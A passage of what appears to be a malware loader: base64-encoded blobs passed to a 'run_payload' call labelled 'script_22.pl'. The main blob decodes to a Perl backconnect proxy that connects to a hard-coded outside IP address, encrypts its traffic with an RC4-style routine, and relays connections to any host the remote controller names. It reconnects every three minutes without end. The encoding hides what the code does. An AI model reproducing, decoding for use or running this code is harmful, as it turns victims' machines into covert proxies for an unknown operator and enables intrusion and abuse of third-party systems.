QkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_22.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9y